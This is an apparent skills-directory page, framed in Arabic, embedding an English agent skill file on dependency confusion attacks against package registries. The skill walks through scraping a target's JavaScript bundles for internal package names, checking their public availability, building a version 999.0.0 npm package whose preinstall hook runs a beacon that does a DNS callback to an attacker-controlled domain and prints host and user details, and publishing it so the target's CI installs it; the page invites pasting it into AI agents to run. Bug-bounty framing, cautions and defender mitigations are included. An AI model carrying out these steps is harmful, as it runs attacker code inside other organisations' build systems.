dep-confusion
ما الذي تفعله
يغطي هذا الدليل تشويش التبعيات، وهو ضعف في سلسلة التوريد تجلب فيه أنظمة البناء حزمة عامة بدلاً من حزمة خاصة لها الاسم نفسه. وهو موجه لفرق الأمان التي تدير سجلات الحزم الخاصة.
متى تستخدمها
- ✓عندما تستخدم شركة أسماء حزم داخلية وتثبّت أيضاً من سجلات عامة.
- ✓عندما تريد التحقق مما إذا كانت الأسماء الداخلية موجودة كحزم عامة غير مملوكة.
- ✓عندما يكون نظام البناء معداً للبحث في السجلات العامة والخاصة معاً.
رابط المهارة
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/supplychain/dep-confusion/SKILL.mdانسخه والصقه في الذكاء الاصطناعي الذي تستخدمه (Claude أو ChatGPT أو Cursor) واطلب منه اتباع التعليمات.
طريقة الاستخدام
أسهل طريقة: انسخ الرسالة والصقها في الذكاء الاصطناعي الذي تستخدمه. سيقرأ المهارة وينفّذ تعليماتها.
رسالة جاهزة للصق
لـ Claude Code أو Codex أو Cursor: شغّله داخل مجلد مشروعك وستُثبَّت المهارة.
نزّل ملف SKILL.md وضعه في مجلد مهارات وكيلك.
مثال على ما تطلبه من الذكاء الاصطناعي
“عمليات البناء لدينا تستخدم حزم npm داخلية. هل يمكنك التحقق مما إذا كانت أي من هذه الأسماء متاحة في السجل العام؟”
5 مهارات جديدة كل أسبوع. قراءة في دقيقة واحدة.
كيف تعمل
يجد الوكيل أسماء الحزم الداخلية في الملفات العامة، ويتحقق مما إذا كان كل اسم موجوداً في السجلات العامة، ويبلغ عن الأسماء التي تحتاج إلى حجز أو قفل.
المحتوى التقني (ملف SKILL.md الأصلي)
النص الأصلي من المؤلف، مباشرة من GitHub.
Dependency Confusion (Alex Birsan 2021)
When an org uses internal private packages (e.g. @target-internal/utils)
AND a build system that searches BOTH public + private registries, an
attacker can publish a public package w/ the same name at higher version.
Default resolvers pick highest version → public package runs in CI.
1. Reconnaissance — find internal package names
| Source | Pattern |
|---|---|
package.json in public repo |
"@target/foo" scoped packages |
package.json exfiltrated from web (/static/) |
dependency lists |
| Webpack bundles | leaked package.json strings |
requirements.txt / Pipfile exposure |
target-internal-lib |
pom.xml / build.gradle |
<groupId>com.target</groupId> |
| Github org code search | @scope patterns in user/org-owned repos (sometimes accidentally public) |
| Stack Overflow / Stack Exchange | engineers asking about internal libs |
| Sourcegraph public index | broad search across exposed orgs |
# Pull all JS bundle URLs from a target
curl -s "$TARGET" | grep -oP 'src="[^"]*\.js"' | sort -u | while read js; do
curl -s "$TARGET$js" | grep -oE '@[a-z0-9_-]+/[a-z0-9_-]+'
done | sort -u
2. Verify the package is private
# Check npm public
npm view @target/internal-utils 2>&1 | grep -E 'E404|not in this registry'
# E404 = name available publicly → confusion candidate
# PyPI
pip index versions target-internal-utils
# "ERROR: No matching distribution" = name available
# Maven Central via search
curl -s "https://search.maven.org/solrsearch/select?q=g:com.target+AND+a:internal-lib" | jq
If the name is taken publicly already, confusion path closed (unless you can take it over — check abandoned packages w/ no maintainer email).
3. Build the malicious package
mkdir attack-pkg && cd attack-pkg
# package.json
cat > package.json <<'EOF'
{
"name": "@target/internal-utils",
"version": "999.0.0",
"description": "auth-research only",
"scripts": {
"preinstall": "node beacon.js"
}
}
EOF
# beacon.js — DO NOT execute payload, just confirm install
cat > beacon.js <<'EOF'
const https = require('https');
const os = require('os');
const dns = require('dns');
// Resolve attacker-controlled subdomain to confirm execution
// Use Burp Collaborator / interactsh / your own DNS server
const subdomain = require('crypto').randomBytes(8).toString('hex');
dns.lookup(`${subdomain}.YOUR_INTERACT_DOMAIN`, () => {});
// Also collect basic env w/o exfil (just locally print for testing)
console.log({
hostname: os.hostname(),
user: os.userInfo().username,
platform: os.platform(),
hostname_dns: dns.getServers(),
});
EOF
4. Publish
npm publish --access public
# For org scopes, may need to register the @scope first
5. Wait + observe
Within hours-days, target's CI will pull 999.0.0. Burp Collaborator
shows DNS hits.
6. Programs that PAY for this
- Microsoft, Apple, PayPal, Tesla, Yelp, Uber, Shopify, Netflix, Yahoo paid out $30k-$130k EACH to Alex Birsan in the original 2021 campaign
- Many BB programs explicitly accept dep-confusion reports under their "supply chain" scope
- Bugcrowd has a "Source Code Disclosure / Supply Chain" reward tier
7. PoC framing (for the report)
DO NOT:
- Run any actual exploit logic
- Exfiltrate any data
- Steal credentials
- Disable security
DO:
- Generate a benign DNS callback (interactsh / Burp Collaborator)
- Capture the timestamp + source IP from your callback log
- Document the package as "research-only", deprecate it via npm immediately after PoC
- Provide cleanup notes: "package @target/internal-utils@999.0.0 published 2026-XX-XX, deprecated 2026-XX-XX, no functional payload"
8. Severity
| Bug | Severity |
|---|---|
| Confirmed install on production build infra | Critical 10.0 |
| Confirmed install on staging/dev | Critical 9.0 |
| Internal package name exposed but no public install attempt | High (depends on data) |
9. Defender
- Block public-registry fallback for scoped packages:
.npmrc@target:registry=https://internal-npm.target.com/ - Use lockfiles + integrity hashes (
package-lock.jsonw/integrityfield) - For PyPI:
pip install --index-url internal-pypi/ --extra-index-url public-pypi/is BACKWARDS — use--index-url internal-pypi/ --no-indexand explicitly allowlist public packages - Reserve internal namespace prefixes on public registries before they're used internally
- npm: use the
@orgscope and publ
الأسئلة الشائعة
لماذا يحدث هذا؟
تختار كثير من أدوات الحزم أعلى إصدار متاح، حتى لو جاء من مصدر عام.
كيف يُتحقق من الاسم؟
بالبحث عنه في السجل العام لمعرفة هل هو موجود.
ما الإصلاح؟
حجز الاسم في السجل العام، أو تحديد السجل الخاص كمصدر وحيد لذلك الاسم.
التفاصيل
الوصف الأصلي من المؤلف
Dependency confusion — publish a higher-version internal package name on public registry (npm/PyPI/Maven/Crates) to coerce CI/CD into pulling attacker code.
الشعبية
- نجوم GitHub
- 6.5k
- الترتيب
- #14046
- الترخيص
- Apache-2.0
- آخر تحديث
- 1/11/2026
التعليقات
- …
المزيد من المهارات من هذا المستودع
detector-overview
6.5kيساعد وكيلك على قراءة الكود الذي أبلغ عنه فاحص أمني، وتحديد أي المواضع المُعلَّمة ثغرات أمنية حقيقية وأيها إنذارات كاذبة.
exploiter-overview
6.5kيساعد وكيلك على ربط عدة نقاط ضعف أمنية مؤكدة في سلسلة اختبار واحدة، ومعرفة مدى وصول هذه السلسلة.
llm-redteam-overview
6.5kيساعد وكيلك على إيجاد دليل الاختبار الأحمر المناسب للذكاء الاصطناعي، ويغطي 15 مجموعة تكتيكية من حقن الأوامر إلى إساءة استخدام النموذج.
aatmf-t01-prompt-injection
6.5kيشرح حقن الأوامر، حيث تحاول تعليمات مخفية تجاوز نظام الذكاء الاصطناعي، حتى يتمكن مختبرو الأمان من فحصه.
مهارات مشابهة
reverse-engineer-anything
422kيساعد وكيلك على فحص التطبيقات والحزم المنشورة من الداخل ليشرح الميزات ويقارن الإصدارات ويرشد إلى إعادة البناء، باستخدام أداة REA.
1password
394kيساعد وكيلك على إعداد واجهة سطر أوامر 1Password وتسجيل الدخول، وقراءة الأسرار أو حقنها دون طباعة قيمها في المحادثة.
healthcheck
394kيساعد وكيلك على تدقيق جهاز OpenClaw أو خادمه أمنيًا، مثل SSH والجدار الناري والتحديثات، ويقترح إصلاحات آمنة قابلة للتراجع.